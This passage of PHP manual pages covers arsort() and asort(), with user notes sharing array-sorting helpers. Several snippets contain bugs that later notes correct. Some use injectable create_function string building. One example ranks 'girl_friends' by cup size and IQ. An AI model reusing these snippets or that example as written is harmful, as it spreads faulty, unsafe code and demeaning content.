Arrays are never removed from memory, however there is an internal pointer that always points to the "next" array item. After you interate through an array, this will need to be reset back to the first element if you want to access it in a loop again.
see the Reset function at
http://www.php.net/manual/function.reset.php if you are confused.
rubein at earthlink dot net 26-Sep-2000 11:07
Multidimensional arrays are actually single-dimensional arrays nested inside other single-dimensional arrays.

$array[0] refers to element 0 of $array
$array[0][2] refers to element 2 of element 0 of $array.

If an array was initialized like this:

$array[0] = "foo";
$array[1][0] = "bar";
$array[1][1] = "baz";
$array[1][2] = "bam";

then:
is_array($array) = TRUE
is_array($array[0]) = FALSE
is_array($array[1]) = TRUE
count($array) = 2 (elements 0 and 1)
count($array[1] = 3 (elements 0 thru 2)

This can be really useful if you want to return a list of arrays that were stored in a file or something:

$array[0] = unserialize($somedata);
$array[1] = unserialize($someotherdata);

if $somedata["foo"] = 42 before it was serialized previously, you'd now have this:
$array[0]["foo"] = 42
php-manual at improbable dot org 02-Apr-2000 03:17
If you want to create an array of a set size and you have PHP4, use array_pad(array(), $SIZE, $INITIAL_VALUE); This can be handy if you wish to initialize a bunch of variables at once:

list($Var1, $Var2, etc) = array_pad(array(), $NUMBER_OF_VARS, $INITIAL_VALUE);
baghera at mindspring dot com 12-Oct-1999 02:54
Every array has an "internal pointer". When you create an array, the internal pointer is automatically set to point at the first member. You can print the current location of the pointer:

$bob= current($myarrayname);
echo "$bob";

You can advance the pointer to the next spot using next($myarrayname).

To see a particular member of an array, set a $variable= $myarrayname[2] where "2" is the number of the member you want to use.

When assigning members to an array, the members are numbered beginning with 0, rather than 1.
array_walk
arsort
Array Functions


Sort an array in reverse order and maintain index association

array
asort
Array Functions
PHP Manual

arsort

(PHP 4, PHP 5)

arsort — Sort an array in reverse order and maintain index association

Description

bool arsort ( array &$array [, int $sort_flags = SORT_REGULAR ] )

This function sorts an array such that array indices maintain their correlation with the array elements they are associated with.

This is used mainly when sorting associative arrays where the actual element order is significant.

Parameters

array

The input array.

sort_flags

You may modify the behavior of the sort using the optional parameter sort_flags, for details see sort().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 arsort() example

<?php
$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");
arsort($fruits);
foreach ($fruits as $key => $val) {
    echo "$key = $val\n";
}
?>

The above example will output:

a = orange
d = lemon
b = banana
c = apple

The fruits have been sorted in reverse alphabetical order, and the index associated with each element has been maintained.

See Also

  • asort() - Sort an array and maintain index association
  • The comparison of array sorting functions

User Contributed Notes

FatBat 13-Oct-2011 01:40
Needed to get the index of the max/highest value in an assoc array.
max() only returned the value, no index, so I did this instead.

<?php
reset($x);   // optional.
arsort($x);
$key_of_max = key($x);   // returns the index.
?>
jordancdarwin at googlemail dot com 15-Dec-2007 02:21
A lot of people seem to trip up on this and ask me questions as to debugging. Bear in mind that this returns boolean, and does not return an array of affected items.

$array = array("One"=>1, "Three" => 3,"Two" =>2);
print_r(asort($array));

If successful, will return 1, and error if there is a string used. Useful to note so then people stop asking me :D
Scott Woods 02-Feb-2005 08:21
Note about "morgan at anomalyinc dot com"'s comment:

As of PHP4, you can just use array_multisort() to sort parallel or multi-dimensional arrays.
rodders_plonker at yahoo dot com 21-Aug-2000 06:43
I was having trouble with the arsort() function on an older version of PHP which was returning an error along the lines of 'wrong perameter count for function arsort' when I tried to use a flag for numeric sorting (2/SORT_NUMERIC).
I figured, as I only wanted to sort integers, I could pad numbers from the left to a specific length with 0's (using the lpad function provided by improv@magma.ca in the notes at http://www.php.net/manual/ref.strings.php).
A string sort then correctly sorts numerically (i.e. {30,2,10,21} becomes {030,021,010,002} not {30,21,2,10}) when echoing the number an (int)$string_name hides the leading 0's.

Made my day :).

Rodders.
morgan at anomalyinc dot com 24-Nov-1999 07:30
If you need to sort a multi-demension array, for example, an array such as

$TeamInfo[$TeamID]["WinRecord"]
$TeamInfo[$TeamID]["LossRecord"]
$TeamInfo[$TeamID]["TieRecord"]
$TeamInfo[$TeamID]["GoalDiff"]
$TeamInfo[$TeamID]["TeamPoints"]

and you have say, 100 teams here, and want to sort by "TeamPoints":

first, create your multi-dimensional array. Now, create another, single dimension array populated with the scores from the first array, and with indexes of corresponding team_id... ie
$foo[25] = 14
$foo[47] = 42
or whatever.
Now, asort or arsort the second array.
Since the array is now sorted by score or wins/losses or whatever you put in it, the indices are all hoopajooped.
If you just walk through the array, grabbing the index of each entry, (look at the asort example. that for loop does just that) then the index you get will point right back to one of the values of the multi-dimensional array.
Not sure if that's clear, but mail me if it isn't...
-mo
array
asort
Array Functions


Sort an array and maintain index association

arsort
compact
Array Functions
PHP Manual

asort

(PHP 4, PHP 5)

asort — Sort an array and maintain index association

Description

bool asort ( array &$array [, int $sort_flags = SORT_REGULAR ] )

This function sorts an array such that array indices maintain their correlation with the array elements they are associated with. This is used mainly when sorting associative arrays where the actual element order is significant.

Parameters

array

The input array.

sort_flags

You may modify the behavior of the sort using the optional parameter sort_flags, for details see sort().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 asort() example

<?php
$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");
asort($fruits);
foreach ($fruits as $key => $val) {
    echo "$key = $val\n";
}
?>

The above example will output:

c = apple
b = banana
d = lemon
a = orange

The fruits have been sorted in alphabetical order, and the index associated with each element has been maintained.

See Also

  • arsort() - Sort an array in reverse order and maintain index association
  • The comparison of array sorting functions

User Contributed Notes

nick ([AT]) nickyost ([DOT]) com 15-Sep-2011 03:32
This function can be used to sort multidimensional arrays with almost no work whatsoever by using the individual values within the custom sort function.

This function passes the entire child element even if it is not a string. If it is an array, as would be the case in multidimensional arrays, it will pass the whole child array as one parameter.

Therefore, do something elegant like this:

<?php
     // Sort the multidimensional array
     usort($results, "custom_sort");
     // Define the custom sort function
     function custom_sort($a,$b) {
          return $a['some_sub_var']>$b['some_sub_var'];
     }
?>

This does in 4 lines what other functions took 40 to 50 lines to do. This does not require you to create temporary arrays or anything. This is, for me, a highly preferred solution.

Hope it helps!
Anon 06-May-2011 05:37
Case insensitive sort in one line:

<?php

array_multisort(array_map('strtolower', $array), $array);

?>
rick at toewsweb dot net 28-Apr-2011 04:40
On sorting by value first, then by key (cf., 2008-01-31 notes by mike at clear-link dot com):

What occurred to me to solve this problem was to extract the keys and values into separate arrays, then use array_multisort to get the desired order:

Ex:
<?php
$kvpairs = array('noun' => 'thought', 'animal' => 'fish', 'abstract' => 'thought', 'food' => 'fish', 'verb' => 'fish');
print "before:\n";
print_r($kvpairs);

// Essentially, one line of code is all that's needed for the sort:
array_multisort(array_values($kvpairs), array_keys($kvpairs), $kvpairs);

print "after:\n";
print_r($kvpairs);
?>

before:
Array
(
    [noun] => thought
    [animal] => fish
    [abstract] => thought
    [food] => fish
    [verb] => fish
)
after:
Array
(
    [animal] => fish
    [food] => fish
    [verb] => fish
    [abstract] => thought
    [noun] => thought
)

Of course, array_multisort allows you to specify sort order (SORT_ASC, SORT_DESC) and sort type (SORT_REGULAR, SORT_STRING, SORT_NUMERIC) for each array you pass it.
ebade at yahoo dot com 09-Jul-2009 01:30
<?php
// Sort an associative array while case insensitive
// Might be useful to someone else
//
// Example:
// $arr = $res1 = array(
//              [a] => Trans Union
//              [b] => TRACE
//              [c] => TeleMatch
//              [d] => test);
//
// asort($res1);
// $res2 = asorti($arr);
//
// ASORT RESULT
// $res1 = array(
//              [b] => TRACE
//              [c] => TeleMatch
//              [a] => Trans Union
//              [d] => test);
//
// DESIRED RESULT
// $res2 = array(
//              [c] => TeleMatch
//              [d] => test
//              [b] => TRACE
//              [a] => Trans Union);

function asorti($arr) {
   $arr2 = $arr;
   foreach($arr2 as $key => $val) {
      $arr2[$key] = strtolower($val);
   }

   asort($arr2);
   foreach($arr2 as $key => $val) {
      $arr2[$key] = $arr[$key];
   }

   return $arr2;
}
?>
Eran 21-Apr-2009 05:15
i made this sample multi dimensional array sort to someone who needed to read lines from a text file instead of using sql - order by statement.

the idea is to take the key and sort(order) the specific column and then order the entire of the array as the selected column asort returned.

<?php
/**
 *
 * This sample is reading text data
 * and perform a sort to a 2 dimensional array
 * just like a normal sql do to "order by asc"
 *
 */

$foo = array();

/*
# SORT_REGULAR - compare items normally (don't change types)
# SORT_NUMERIC - compare items numerically
# SORT_STRING - compare items as strings
*/
$sort_by = SORT_REGULAR;

/*
# 0 - order by name column
# 1 - order by age column
# 2 - order by rank column
# 3 - order by color column
*/
$order_by = 1;

// source file
$line_of_text[1] = 'a1name|f2age|h3rank|jcolor';
$line_of_text[2] = 'b1name|d2age|i3rank|k4color';
$line_of_text[0] = 'c1name|e2age|g3rank|l4color';

// make array
for ($x=0; $x<=2; $x++)
{
    $line = explode('|',$line_of_text[$x]);

    // save it by coulmns otherwise it will saved like rows
    for ($i=0; $i<=3; $i++) {
          $foo[$i][$x] = $line[$i];
    }
}

// get the key order
$a = $foo[$order_by];

// sort
asort($a, $sort_by);

// start print
echo "<table cellpudding=0 cellspacing=0 border=1>\n";
        echo "<tr>\n";
          echo "<td>key</td>\n";
          echo "<td>name</td>\n";
          echo "<td>age</td>\n";
          echo "<td>rank</td>\n";
          echo "<td>color</td>\n";
        echo "</tr>\n";

// print by key order
foreach ($a as $k => $v) {
    echo "<tr>\n";
      echo "<td>$k</td>\n";
      // you can print here a for loop (0 to num of columns[=3])
      echo "<td>".$foo[0][$k]."</td>\n";
      echo "<td>".$foo[1][$k]."</td>\n";
      echo "<td>".$foo[2][$k]."</td>\n";
      echo "<td>".$foo[3][$k]."</td>\n";
    echo "</tr>\n";
}
echo "</table>\n";
?>
Cai Black 05-Mar-2009 11:20
I could not find a built-in to handle this specific case.  I hope that someone else finds it useful as well.

<?php
// array_sort_numerically_indexed_values
//
// (PHP 4, PHP 5)
//
// array_sort_numerically_indexed_values - Sort the numerically indexed values of an array.
//
//
// Description:
//
//   bool array_sort_numerically_indexed_values ( array &$array )
//
//   This function sorts the only values of the array that are numerically indexed.  This is mainly useful when sorting values that were returned from a datasource where value ordering is not specified, is not configurable, or is unknown.
//
//
// Parameters:
//
//   array
//     The input array.
//
// Return Values:
//
//   Returns TRUE on success or FALSE on failure (see below for more information).
//
//
// Notes:
//
//   The input array MUST contain an element 'count' with an integer value representing the number of numerically indexed array elements.
//
//
// Examples:
//
//   Example #1 array_sort_numerically_indexed_values example
//
//     <?php
//     // An array wherein the numerically indexed elements ($pets[0] through $pets[3]) are unordered.
//     $pets=array(
//       0 => 'Biscuit',
//       1 => 'Alley',
//       2 => 'Doogie',
//       3 => 'Conan',
//       'Conan' => array(
//         0 => 'cat',
//         1 => 'male'
//       ),
//       'Biscuit' => array(
//         0 => 'cat',
//         1 => 'female'
//       ),
//       'Doogie' => array(
//         0 => 'dog',
//         1 => 'male'
//       ),
//       'Alley' => array(
//         0 => 'dog',
//         1 => 'female'
//       ),
//       'count' => 4
//     );
//
//     array_sort_numerically_indexed_values($pets);
//
//     print_r($pets);
//     ?>
//
//     The above example will output:
//
//       Array
//         (
//           [0] => Alley
//           [1] => Biscuit
//           [2] => Conan
//           [3] => Doogie
//           [Conan] => Array
//             (
//               [0] => cat
//               [1] => male
//             )
//           [Biscuit] => Array
//             (
//               [0] => cat
//               [1] => female
//             )
//           [Doogie] => Array
//             (
//               [0] => dog
//               [1] => male
//             )
//           [Alley] => Array
//             (
//               [0] => dog
//               [1] => female
//             )
//           [count] => 4
//         )
//
//     The numerically index array elements were sorted alphabetically.
//
// Credits:
//   Cai Black < caiblack [at] hotmail [dot] com >
//

function array_sort_numerically_indexed_values(&$myArray) {
    if(isset($myArray['count'])) {
        $sort_again=true;
        if( $sort_again && ($myArray['count'] > 1) ) {
            $sort_previous_value='';
            for($i=0; $i<$myArray['count']; $i++) {
                $sort_again=false;
                // if not the first item then
                if($i > 0) {
                    // if current index value is less than previous value then
                    if($myArray[$i] < $myArray[$i-1]) {
                        // set swap to current index value
                        $sort_swap=$myArray[$i];
                        // set current index to previous index value
                        $myArray[$i]=$myArray[$i-1];
                        // set previous index to swap value
                        $myArray[$i-1]=$sort_swap;
                        // set $sort_again to true
                        $sort_again=true;
                    } // end if
                } // end if
                // set $sort_previous_value to current index value
                $sort_previous_value=$myArray[$i];
            } // end for
        } // end if
        return true;
    } else {
        return false;
    } // end if
} // end function array_sort_numerically_indexed_values
?>
ThA-B 11-Oct-2008 05:11
mzvarik at gmail dot com!
Your post at 16-Jan-2008 12:46 saved my life, so I request it not to be deleted, but put somewhere in more visible place.
I got situation, where server is not (and will not be) configured properly and latvian language can not be recognized neither in setlocale or sort functions.
Latvian is also known as ISO-8859-13, lv_LV, lv, lv_LV.ISO-8859-13, cp1257, windows-1257, etc. And because non of them worked with setlocale() and sort() under win32/php5.2.1 environment, i used your functions MySort() and myStrCmp() with slight change:
$cz_chars = 'Aa Āā Bb Cc Čč Dd Ee Ēē Ff Gg Ģģ Hh Ii Īī Jj Kk Ķķ Ll Ļļ Mm Nn Ņņ Oo Pp Rr Ss Šš Tt Uu Ūū Vv Zz Žž';
voila!
Thank You very very much!
bakatamas at freemail dot hu 15-Feb-2008 02:34
Dear mike at clear-link dot com!

I needed a case insensitive version of your function. It is still not perfect as I have to do something with country specific characters (öüóőúéáűíÖÜÓŐÚÉÁŰÍ)

function akisort(&$array,$valrev=false,$keyrev=false)
    {
    if ($valrev)
        {
        arsort($array);
        }
        else
        {
        asort($array);
        };
    $vals = array_count_values($array);
    $i = 0;
    foreach ($vals AS $val=>$num)
        {
        $first = array_splice($array,0,$i);
        $tmp = array_splice($array,0,$num);
        $tmp2 = array();
        foreach($tmp as $key => $value)
            {
            $tmp2[] = $key;
            $number = $value;
            };
        natcasesort($tmp2);
        reset($tmp2);
        print_r($tmp2);
        unset($tmp);
        foreach($tmp2 as $key => $value)
            {
            $tmp[$value] = $number;
            };
        if($keyrev)
            {
            $tmp = array_reverse($tmp, true);
            };
        $array = array_merge($first,$tmp,$array);
        unset($tmp);
        $i = $i+$num;
        };
};
mike at clear-link dot com 31-Jan-2008 03:56
Small typo in the aksort function I just submitted. Here's the entire thing again, with the correction noted:

<?php
function aksort(&$array,$valrev=false,$keyrev=false) {
  if ($valrev) { arsort($array); } else { asort($array); }
  $vals = array_count_values($array);
    $i = 0;
    foreach ($vals AS $val=>$num) {
        $first = array_splice($array,0,$i);
        $tmp = array_splice($array,0,$num);
        if ($keyrev) { krsort($tmp); } else { ksort($tmp); }
        $array = array_merge($first,$tmp,$array);
        unset($tmp);
        $i = $i+$num;
        // Fixed from previous post: $i = $num;
    }
}
?>
mike at clear-link dot com 31-Jan-2008 03:23
For a recent project I needed to sort an associative array by value first, and then by key if a particular value appeared multiple times. I wrote this function to accomplish the task. Note that the parameters default to sort ascending on both keys and values, but allow granular control over each.

<?php
function aksort(&$array,$valrev=false,$keyrev=false) {
  if ($valrev) { arsort($array); } else { asort($array); }
    $vals = array_count_values($array);
    $i = 0;
    foreach ($vals AS $val=>$num) {
        $first = array_splice($array,0,$i);
        $tmp = array_splice($array,0,$num);
        if ($keyrev) { krsort($tmp); } else { ksort($tmp); }
        $array = array_merge($first,$tmp,$array);
        unset($tmp);
        $i = $num;
    }
}

// Example
$tmp = array('ca'=>1,'cb'=>2,'ce'=>1,'pa'=>2,'pe'=>1);

// Standard asort
asort($tmp);
print_r($tmp);

// Sort value ASC, key ASC
aksort($tmp);
print_r($tmp);

// Sort value DESC, key ASC
aksort($tmp,true);
print_r($tmp);

// Sort value DESC, key DESC
aksort($tmp,true,true);
print_r($tmp);

// Results
Array
(
    [pe] => 1
    [ca] => 1
    [ce] => 1
    [cb] => 2
    [pa] => 2
)
Array
(
    [ca] => 1
    [ce] => 1
    [pe] => 1
    [cb] => 2
    [pa] => 2
)
Array
(
    [cb] => 2
    [pa] => 2
    [ca] => 1
    [ce] => 1
    [pe] => 1
)
Array
(
    [pa] => 2
    [cb] => 2
    [pe] => 1
    [ce] => 1
    [ca] => 1
)
mzvarik at gmail dot com 16-Jan-2008 09:29
I noticed that my function mentioned earlier is very misleading - somebody please delete that note!

This is how you sort:
<?php
setlocale (LC_ALL, 'czech');
$array = array("a", "č", "c");
usort ($array, 'strcoll');
print_r($array);
?>
przemekkus [at] interia [dot] pl 02-Nov-2007 06:34
Function written by a dot brandon at chello dot nl has an error  - wrong variable name. It should be:

if($rev) arsort($named_hash,$flags=0) ;

instead of

if($reverse) arsort($named_hash,$flags=0) ;
greenie2600 at yahoo dot com 09-Aug-2007 12:22
The function offered by richard at happymango dot me dot uk does not handle numeric indices properly. smileaf's suggested fix did not work for me. Use with caution.
a dot brandon at chello dot nl 25-Jun-2007 07:18
I use this for quasi-SQL orderby. Loosely based on smileaf. Any good for you nerds?

<?

function named_records_sort($named_recs, $order_by, $rev=false, $flags=0)
{// Create 1-dimensional named array with just
 // sortfield (in stead of record) values
    $named_hash = array();
     foreach($named_recs as $key=>$fields)
             $named_hash["$key"] = $fields[$order_by];

 // Order 1-dimensional array,
 // maintaining key-value relations
    if($reverse) arsort($named_hash,$flags=0) ;
    else asort($named_hash, $flags=0);

 // Create copy of named records array
 // in order of sortarray
    $sorted_records = array();
    foreach($named_hash as $key=>$val)
           $sorted_records["$key"]= $named_recs[$key];

return $sorted_records;} // named_recs_sort()

function show_sorted_records($named_recs, $order_by, $rev=false, $flags=0)
{$sorted_records=named_records_sort($named_recs, $order_by, $rev, $flags);
foreach($sorted_records as $name=>$fields)
  {echo "<b>$name</b>   ";
   foreach($fields as $field=>$val)
          echo "$field = $val "; echo "<br>";}
} // show_sorted_records()

$girl_friends=array();
$girl_friends["Anna"]=
array("born"=>'1989-08-22',"cupsize"=>'B-',"IQ"=>105, "daddy"=>'rich');
$girl_friends["Zoe"]
=array("born"=>'1978-03-11',"cupsize"=>'C#',"IQ"=>130, "daddy"=>'poor');
$girl_friends["Lilly"]
=array("born"=>'1985-06-16',"cupsize"=>'DD',"IQ"=>90, "daddy"=>'nasty');

$order_by="cupsize"; echo "And the winners are: <br>";
show_sorted_records($girl_friends, $order_by, true);

?>
gunnar at taljaren dot se 14-Jun-2007 01:00
for ($i=0;$i<5;$i++)
   $values[] = $i;
asort($values);

works, but
for ($i=0;$i<5;$i++)
   $values[$i] =$i;
asort($values);
doesn't!
nilesh dot gamit at gmail dot com 25-Apr-2007 03:50
function to sort 2d array: recordSort(); It is really helpful as most PHP sort functions provides facility for sorting 1d array & multi dimensional array sorting is not handy. Normally this function will help u.. if u r displaying some records n u want sorting by clicking on some column. basically same is achieved by direct SQL changes like ORDER BY ASC/DESC. But in case, if your records are not actual records, this function will help. i.e. some table has following fields in DB.
name, email, telephone and are_you_married; are_you_married is either 0 / 1. now u r displaying N for 1 and Y for 0; and you want sorting on are_you_married on display. then ORDER BY ASC/DESC. will not work. So, try this…

<?php
    function recordSort($records, $field, $reverse, $defaultSortField = 0)
    {
            $uniqueSortId = 0;
            $hash = array(); $sortedRecords = array(); $tempArr = array(); $indexedArray = array(); $recordArray = array();

            foreach($records as $record) {
                $uniqueSortId++;
                $recordStr = implode("|", $record)."|".$uniqueSortId;
                $recordArray[] = explode("|", $recordStr);
            }

            $primarySortIndex = count($record);
            $records = $recordArray;

             foreach($records as $record) {
                $hash[$record[$primarySortIndex]] = $record[$field];
             }
            uasort($hash, "strnatcasecmp");
            if($reverse)
            $hash = array_reverse($hash, true);

            $valueCount = array_count_values($hash);

            foreach($hash as $primaryKey => $value) {
                $indexedArray[] = $primaryKey;
            }

            $i = 0;
            foreach($hash as $primaryKey => $value) {
                $i++;
                if($valueCount[$value] > 1) {
                    foreach($records as $record)  {
                        if($primaryKey == $record[$primarySortIndex]) {
                            $tempArr[$record[$defaultSortField]."__".$i] = $record;
                            break;
                        }
                    }

                    $index = array_search($primaryKey, $indexedArray);

                    if( ($i == count($records)) || ($value != $hash[$indexedArray[$index+1]]) )  {
                        uksort($tempArr, "strnatcasecmp");

                        if($reverse)
                        $tempArr = array_reverse($tempArr);

                        foreach($tempArr as $newRecs) {
                            $sortedRecords [] = $newRecs;
                        }

                        $tempArr = array();
                    }
                }
                else {
                    foreach($records as $record)  {
                       if($primaryKey == $record[$primarySortIndex])  {
                                $sortedRecords[] = $record;
                                break;
                        }
                    }
                }
            }
            return $sortedRecords;
    }

    $array[0][0] = 'nilesh';   // sort_index = 0
    $array[0][1] = 'yogesh'; // sort_index = 1
    $array[0][2] = 'aakash'; // sort_index = 2
    $array[0][3] = '100';      // sort_index = 3
    $array[0][4] = 'nilesh';   // sort_index = 4
    $array[0][5] = 'Nil100';  // sort_index = 5
    $array[0][6] = 'Y';         // sort_index = 6

    $array[1][0] = 'Nil100';
    $array[1][1] = '1001';
    $array[1][2] = 'nilesh';
    $array[1][3] = 'nilesh';
    $array[1][4] = 'nilesh';
    $array[1][5] = 'yogesh';
    $array[1][6] = 'Nil100';

    $array[2][0] = 'Nil100';
    $array[2][1] = 'Y';
    $array[2][2] = '100';
    $array[2][3] = '10nilesh';
    $array[2][4] = 'aakash';
    $array[2][5] = '_aakash';
    $array[2][6] = 'aakash_';

    echo "array before sorting..."
    print_r($array);

    /* $sortedList = recordSort(2d_array, sort_index, reverse, second_level_sort_index_if_duplicates_found_default_is_0 = '0'); */
    $sortedList = recordSort($array, 4, 0, 5);

    echo "array after sorting..."
    print_r($sortedList);
?>
smileaf at smileaf dot org 24-Jan-2007 06:34
Ok I was mistaken, after re-reading the previous post the ".$key" is important. What caused the sorting issue for me wasn't that at all. But rather something else.
doing an: asort($records, $flags); before returning fixes the sorting problems.
The sorting problem I was refearing to causes a character based sorting done on numeric data.
so instead of:
1
2
3
...
10
12
20
It was returned back as
1
10
12
2
20
3
...
basically what I was trying to fix in the first place.
smileaf at smileaf dot org 24-Jan-2007 04:59
This revised version removes the ".$key" from the hash as I wasn't sure why it was there and caused sorting problems for me.
And allows the use of the array flags in both ksort and krsort.
<?
function record_sort($records, $field, $reverse=false, $flags=0)
{
    $hash = array();

    foreach($records as $key => $record)
    {
        $hash[$record[$field]] = $record;
    }

    ($reverse)? krsort($hash, $flags) : ksort($hash, $flags);

    $records = array();

    foreach($hash as $record)
    {
        $records []= $record;
    }

    return $records;
}
?>
richard at happymango dot me dot uk 23-Nov-2006 03:52
This is a fixed version of the same function I posted below. Now it will handle duplicate entries in the sorted field. EG: If there were two records that had the name Heathrow it would still work.

<?php

function record_sort($records, $field, $reverse=false)
{
    $hash = array();

    foreach($records as $key => $record)
    {
        $hash[$record[$field].$key] = $record;
    }

    ($reverse)? krsort($hash) : ksort($hash);

    $records = array();

    foreach($hash as $record)
    {
        $records []= $record;
    }

    return $records;
}

?>
richard at happymango dot me dot uk 22-Nov-2006 03:35
This is a function to sort an indexed 2D array by a specified sub array key, either ascending or descending.

It is usefull for sorting query results from a database by a particular field after the query has been returned

This function can be quite greedy. It recreates the array as a hash to use ksort() then back again

By default it will sort ascending but if you specify $reverse as true it will return the records sorted descending

<?php

function record_sort($records, $field, $reverse=false)
{
    $hash = array();

    foreach($records as $record)
    {
        $hash[$record[$field]] = $record;
    }

    ($reverse)? krsort($hash) : ksort($hash);

    $records = array();

    foreach($hash as $record)
    {
        $records []= $record;
    }

    return $records;
}

// Example below

$airports = array
(
    array( "code" => "LHR", "name" => "Heathrow" ),
    array( "code" => "LGW", "name" => "Gatwick" ),
);

printf("Before: <pre>%s</pre>", print_r($airports, true));

$airports = record_sort($airports, "name");

printf("After: <pre>%s</pre>", print_r($airports, true));

?>

Example Outputs:

Before: Array
(
    [0] => Array ( [code] => LHR, [name] => Heathrow )
    [1] => Array ( [code] => LGW, [name] => Gatwick )
)

After: Array
(
    [0] => Array ( [code] => LGW, [name] => Gatwick )
    [1] => Array ( [code] => LHR, [name] => Heathrow )
)
php at web-in-time dot com 05-Sep-2006 02:47
acecream's function works fine, especially with the spectre extension.

nevertheless sometimes the index values have to be kept. To achieve this, just replace:

$sorted_arr[] = $array[$arr_key];

with:

$sorted_arr[$arr_key] = $array[$arr_key];
rojaro 23-Jun-2004 07:38
Advanced sort array by second index function, which produces ascending (default) or descending output and uses optionally natural case insensitive sorting (which can be optionally case sensitive as well).
Only the first two arguments are required.

<?php

function sabsi ($array, $index, $order='asc', $natsort=FALSE, $case_sensitive=FALSE) {
  if(is_array($array) && count($array)>0) {
    foreach(array_keys($array) as $key) $temp[$key]=$array[$key][$index];
    if(!$natsort) ($order=='asc')? asort($temp) : arsort($temp);
    else {
      ($case_sensitive)? natsort($temp) : natcasesort($temp);
      if($order!='asc') $temp=array_reverse($temp,TRUE);
    }
    foreach(array_keys($temp) as $key) (is_numeric($key))? $sorted[]=$array[$key] : $sorted[$key]=$array[$key];
    return $sorted;
  }
  return $array;
}

?>
csaba at alum dot mit dot edu 23-Jun-2004 04:47
If you have a pair of arrays which have a one to one association (examples: spouses, first to last name, SSN to name), when you sort one, you might wish to sort the other in the same way to maintain the correlation.  This example illustrates a way:

<?php
$aMen = array('Fred', 'Bob', 'Tim', 'John', 'Bill');
$aPartner = array('Sue', 'Mary', 'Ann', 'Cathy', 'Nancy');
asort($aMen);                   // aMen now sorted; numeric keys out of order
$aWomen = array_keys($aMen);    // create a new array for result
foreach ($aWomen as $idx => &$name) $name=$aPartner[$name];
                                // aWomen now has the sorted partners
$aMen = array_merge($aMen);     // put the numeric keys in order
?>

Csaba Gabor
KOmaSHOOTER at gmx dot de 20-May-2003 05:52
here another version from acecream multisorting for arrays :)

<?php
function array_sort_multi2($array, $key,$key2)

{
  for ($i = 0; $i < sizeof($array); $i++) {
       if(! empty($array[$i][$key][$key2])){
       $sort_values[$i] = $array[$i][$key][$key2];
       }else{
       $sort_values[$i] = $array[$i];
       }
  }
  asort ($sort_values);
  reset ($sort_values);
  while (list ($arr_keys, $arr_values) = each ($sort_values)) {
         $sorted_arr[] = $array[$arr_keys];
  }
  return $sorted_arr;
}
?>
spectre at hellfish dot NOSPAM dot org 28-Apr-2003 09:54
that works nicely, tho it breaks the result-array up if one or more of arrays indexes are deleted before sorting. this one should fix it up:

change:
for ($i = 0; $i < sizeof($array); $i++) {

to:
foreach ($array as $i => $k) {
acecream 22-Apr-2003 04:02
my version of sorting multi dimensional array

<?php
function array_sort($array, $key)
{
   for ($i = 0; $i < sizeof($array); $i++) {
        $sort_values[$i] = $array[$i][$key];
   }
   asort ($sort_values);
   reset ($sort_values);
   while (list ($arr_key, $arr_val) = each ($sort_values)) {
          $sorted_arr[] = $array[$arr_key];
   }
   return $sorted_arr;
}
?>
mbevan at marginsoftware dot com 03-Dec-2002 01:25
Nevermind... use my last note as a quick tip: if you wish to keep the keys, use asort() and arsort() in place of sort() and rsort().
31-Jul-2002 06:48
Sorry, my last post had a typo:
// unnecessary backslashes break create_function, oops.
  if ( is_string($var) ) $var = "\'$var\'";
//it should be:
  if ( is_string($var) ) $var = "'$var'";

-- FIXED and TESTED -- :)

Similar to above but for an array of arrays instead of an array of objects.

<?php
function aasort($x,$var,$cmp='strcasecmp'){
  if ( is_string($var) ) $var = "'$var'";
  uasort($x,
    create_function('$a,$b',
      'return '.$cmp.'( $a['.$var.'],$b['.$var.']);')
  );
  return $x;
}
?>
phzzzt .a.t. acm .d.o.t. org 31-Jul-2002 06:32
Similar to above but for an array of arrays instead of an array of objects.

<?php
function aasort($x,$var,$cmp='strcasecmp'){
  if ( is_string($var) ) $var = "\'$var\'";
  uasort($x,
    create_function('$a,$b',
      'return '.$cmp.'( $a['.$var.'],$b['.$var.']);')
  );
  return $x;
}
?>
salchicha at cable dot net dot co 03-Apr-2002 01:23
Here's one I whipped up to allow you to sort an array of a specific class by a member or function:

<?php
// Sort a class by one of its members (even lowercase!!!)
function casort($arr, $var) {
   $tarr = array();
   $rarr = array();
   for($i = 0; $i < count($arr); $i++) {
      $element = $arr[$i];
      $tarr[] = strtolower($element->{$var});
   }

   reset($tarr);
   asort($tarr);
   $karr = array_keys($tarr);
   for($i = 0; $i < count($tarr); $i++) {
      $rarr[] = $arr[intval($karr[$i])];
   }

   return $rarr;
}
?>

It works very well. For example, I have a Room class with members title, isActive(), date, etc. I can sort an array by casort($rooms, "title") or casort($rooms, "isActive()") and it'll work.
rcwang at cmu dot edu 02-Mar-2002 05:42
Here's my version of sorting multi-dimensional array by 2nd index.
Feel free to change the code to suit your needs.

<?php
function aSortBySecondIndex($multiArray, $secondIndex) {
    while (list($firstIndex, ) = each($multiArray))
        $indexMap[$firstIndex] = $multiArray[$firstIndex][$secondIndex];
    asort($indexMap);
    while (list($firstIndex, ) = each($indexMap))
        if (is_numeric($firstIndex))
            $sortedArray[] = $multiArray[$firstIndex];
        else $sortedArray[$firstIndex] = $multiArray[$firstIndex];
    return $sortedArray;
}
?>
markus at runout dot at 29-Nov-2001 12:37
for sorting CASEINSENSITIVE try
natcasesort()

there's little difference to sort,
but maybe that doesn't matter for you.
freeman at generalresources dot com 04-May-2001 04:51
The asortbyindex($sortarray, $index) looks like sort not asort. The key of the $sortarray was changed.
sweetland at whoadammit dot com 15-Aug-2000 12:02
Here's a little routine I whipped up to sort multi-dimensional arrays:
<?php
/**
 ** comesafter ($s1, $s2)
 **
 ** Returns 1 if $s1 comes after $s2 alphabetically, 0 if not.
 **/

function comesafter ($s1, $s2) {
        /**
         ** We don't want to overstep the bounds of one of the strings and segfault,
         ** so let's see which one is shorter.
         **/

        $order = 1;

        if (strlen ($s1) > strlen ($s2)) {
                $temp = $s1;
                $s1 = $s2;
                $s2 = $temp;
                $order = 0;
        }

        for ($index = 0; $index < strlen ($s1); $index++) {
                /**
                 ** $s1 comes after $s2
                 **/

                if ($s1[$index] > $s2[$index]) return ($order);

                /**
                 ** $s1 comes before $s2
                 **/

                if ($s1[$index] < $s2[$index]) return (1 - $order);
        }

        /**
         ** Special case in which $s1 is a substring of $s2
         **/

        return ($order);
}

/**
 ** asortbyindex ($sortarray, $index)
 **
